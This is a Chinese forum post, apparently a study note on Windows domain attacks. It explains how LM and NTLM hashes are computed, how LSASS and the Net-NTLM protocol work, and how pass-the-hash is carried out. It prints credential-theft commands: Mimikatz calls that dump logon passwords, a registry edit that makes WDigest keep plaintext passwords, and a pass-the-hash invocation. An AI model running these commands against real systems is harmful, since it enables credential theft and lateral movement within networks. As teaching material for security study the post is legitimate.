域渗透之初识LM&NTLM认证过程

打印 上一主题 下一主题

主题 906|帖子 906|积分 2718

目录

前言

LAN Manager 和 NT LAN Manager 认证是Windows系统中的一种挑战-响应身份验证机制。LM认证是早期Windows版本中使用的一种认证协议,而NTLM是LM的改进版本,安全性比LM要高一些。
LM Hash

LM Hash是LM协议认证的凭证,但是LM接纳密码散列情势安全性不好。以是从Windows Vista和Windows Server 2008版本开始,Windows系统默认禁用了LM Hash。
LM Hash的产生过程:
假设密码为123456那么它所对应的LM Hash的产生过程如下:

  • 起首对密码进行大写转换:123456 -> 123456
  • 转换为16进制字符串:123456 -> 313233343536
  • 密码不足14字节要求用0补全:313233343536(6bytes)-> 3132333435360000000000000000(14bytes)
  • 密码分割成两个7个字节长的段:31323334353600 00000000000000
  • 分别转换成比特串,若长度不足56bits使用0在左边补齐长度:
  1. 31323334353600 -> 00110001001100100011001100110100001101010011011000000000
  2. 00000000000000 -> 00000000000000000000000000000000000000000000000000000000
复制代码

  • 每7bits分为一组,每组末尾加0,再构成一组,转换成16进制:
  1. 0011000010011000100011000110011001000010101010001101100000000000 -> 40a0d0862298d000
  2. 0000000000000000000000000000000000000000000000000000000000000000 -> 0000000000000000
复制代码

  • 分别作为key对 KGS!@#$% 进行DES加密:44efce164ab921ca aad3b435b51404ee
  • 将两组DES加密后的字符串拼接得到终极的32位的十六进制数字串:44efce164ab921caaad3b435b51404ee
LM加密算法存在的缺陷:

  • LM Hash对密码的长度有限定,只考虑前14个字符,并且会对密码进行大写转换
  • 接纳的加密方式是分组的DES加密,以是如果密码强度是小于即是7位,那么加密后的结果的后半部门就会是固定的aad3b435b51404ee
  • 分组加密极大程度降低了密码的复杂度,DES算法强度低
NTLM Hash

为相识决LM协议认证中固有的安全缺陷,Microsoft于1993年在Windows NT 3.1中引入了NTLM协议。
NTLM Hash的产生过程:
假设密码为123456那么它所对应的NTLM Hash的产生过程如下:

  • 起首对密码进行十六进制转换:123456 -> 313233343536
  • 转换成Unicode格式(每个字节之后添加0x00):313233343536 -> 310032003300340035003600
  • 使用MD4摘要算法对Unicode编码数据进行Hash散列,天生32位的十六进制数字串:32ed87bdb5fdc5e9cba88547376818d4
  1. import hashlib
  2. import binascii
  3. # 进行Unicode编码
  4. a = "123456".encode("utf-16le")
  5. # 计算MD4散列值
  6. b = hashlib.new("md4", a)
  7. print(binascii.hexlify(b.digest()))
复制代码
  1. b'32ed87bdb5fdc5e9cba88547376818d4'
复制代码
对所获取的Unicode字符串进行标准MD4单向哈希,总会固定产生128bits的哈希值。
可以看到NTLM Hash明显比LM Hash要安全一些,因为无法根据NTLM Hash判断出原始明文密码的密码强度是否小于即是7位。
Windows本地认证

在Windows系统中,登录密码不是直接明文存储,而是会盘算成哈希值存储。
本地用户的密码被加密存储在 C:\Windows\System32\config\SAM 文件中。当用户登录Windows时,系统会自动地读取SAM文件中的哈希值与我们输入的密码(哈希运算后的)进行比对,如果雷同则认为认证乐成。
在Windows内部运行流程大致如下:winlogon.exe -> 吸收用户输入 -> lsass.exe -> 认证
LSASS进程

LSASS是用户登录验证、密码更改、安全策略管理和其他安全相干操作的核心组件。当用户尝试登录Windows系统时,LSASS进程负责验证用户的凭据。

lsass.exe进程用来处理用户输入的密码,进程将密码盘算成NTLM Hash与SAM进行比对,以是lsass.exe会在内存中短暂存储密码信息。
Mimikatz抓取明文密码

mimikatz是一个调试神器,最常用的功能就是抓取明文或Hash。
上面提到lsass.exe在认证的过程中,会在内存中短暂存储密码信息。以是就可以使用Mimikatz来抓取密码信息。然而从Windows 8.1和Windows Server 2012 R2开始,lsass.exe不再默认存储用户的明文密码,而是以加密情势存储。
以是如果尝试使用Mimikatz直接从lsass.exe进程中提取明文密码,密码字段会显示为null。

如果仍想使用Mimikatz抓取明文密码,需要修改注册表设置以强制lsass.exe存储明文密码。然后还需要用户重新登录,之后Mimikatz才可能抓取到明文密码。
Mimikatz需要管理员权限:
  1. privilege::debug  提升权限
  2. sekurlsa::logonpasswords  抓取密码
复制代码
需要修改注册表:
  1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
复制代码
修改注册表之后,需要用户注销大概重启重新登岸之后才会生效。
另有其他的方式,比如使用procdump把lsass.exe进程的内存dump下来,然后mimikatz进行读取内容。
Windows网络认证

在Windows系统中,网络认证协议主要包括Kerberos和Net NTLM两种。其中Kerberos相对来说会复杂一些,同时也更加安全。
Net NTLM

Net NTLM认证是一种 Challenge/Response 验证机制,由三种消息构成:

  • type 1协商:主要用于确认双方协议版本
  • type 2质询:Challenge/Response 认证机制的核心部门
  • type 3验证:在质询完成后验证结果
认证的主要过程:

  • 客户端起首发送type1 消息(协商)和服务器之间进行协议版本等信息的协商。
  • 服务器用type 2消息(质询)进行响应,并天生一个随机的挑战值Challenge发送给客户端。
  • 客户端用type 3消息(验证)回复质询,使用自己的NTLM Hash对挑战值进行加密,天生响应Response并发送回服务器。
  • 服务器吸收到响应后,使用已存储的用户密码哈希对挑战值进行盘算,再与客户端回复的响应值进行比对,若两者同等则认证乐成。
在域情况中,如果客户端尝试使用域账户登录,由于域成员服务器不存储域账户的密码哈希,服务器会将用户名、挑战和响应通过Netlogon协议传递给域控制器,由DC来进行验证。
颠末NTLM Hash加密Challenge的结果在网络协议中称为Net NTLM Hash,网络中没有传输与密码本身相干的任何数据。
NTLMv1 & NTLMv2

NTLM存在v1和v2两个版本,主要区别在Challenge和加密算法不同。

  • v1是8位的Challenge,而v2是16位的Challenge
  • v1的主要加密算法是DES,而v2的主要加密算法是HMAC-MD5
  • type3消息Response的构建方式不同
Net NTLM Hash的格式:
v1的格式为:
  1. username::hostname:LM response:NTLM response:challenge
复制代码
v2的格式为:
  1. username::domain:challenge:HMAC-MD5:blob
复制代码
如果可以从系统导出来的NTLM Hash,尝试通过Hashcat能够破解出明文密码。
Hash传递攻击

Pass The Hash也叫hash传递攻击,简称PTH。
在域情况中,用户登录盘算机时使用的多数是雷同的域账号。因此,如果盘算机的本地管理员账号和密码也是雷同的,攻击者就能使用哈希传递攻击的方法登岸内网中的其他盘算机。
这个过程不需要用户明文密码,只需要用户Hash。Hash传递就只是完成一个不需要输入密码的NTLM协议认证流程。
Hash传递攻击使用工具很多,比如mimikatz:
  1. # 本地管理员的执行权限
  2. privilege::debug
  3. sekurlsa::logonpasswords
复制代码
复制拿到的NTLM Hash的值。
  1. sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:496d9d8e5b84059203b50fa8fc...
复制代码

完成之后会弹出cmd.exe
除了比如mimikatz另有其他的方式,比如msf内置的mimikatz获取hash,另有kiwi模块和psexec模块,python第三方库impacket下的secretsdump等。
参考文章:
https://xxe.icu/domain-security.html
https://www.cnblogs.com/chalan630/p/15063693.html
https://www.cnblogs.com/Xy--1/p/13216686.html
https://www.freebuf.com/articles/system/224171.html
https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#id-1.-pass-the-hash
https://www.cnblogs.com/husterlong/p/14271976.html
如有错误,欢迎指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用户云卷云舒

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表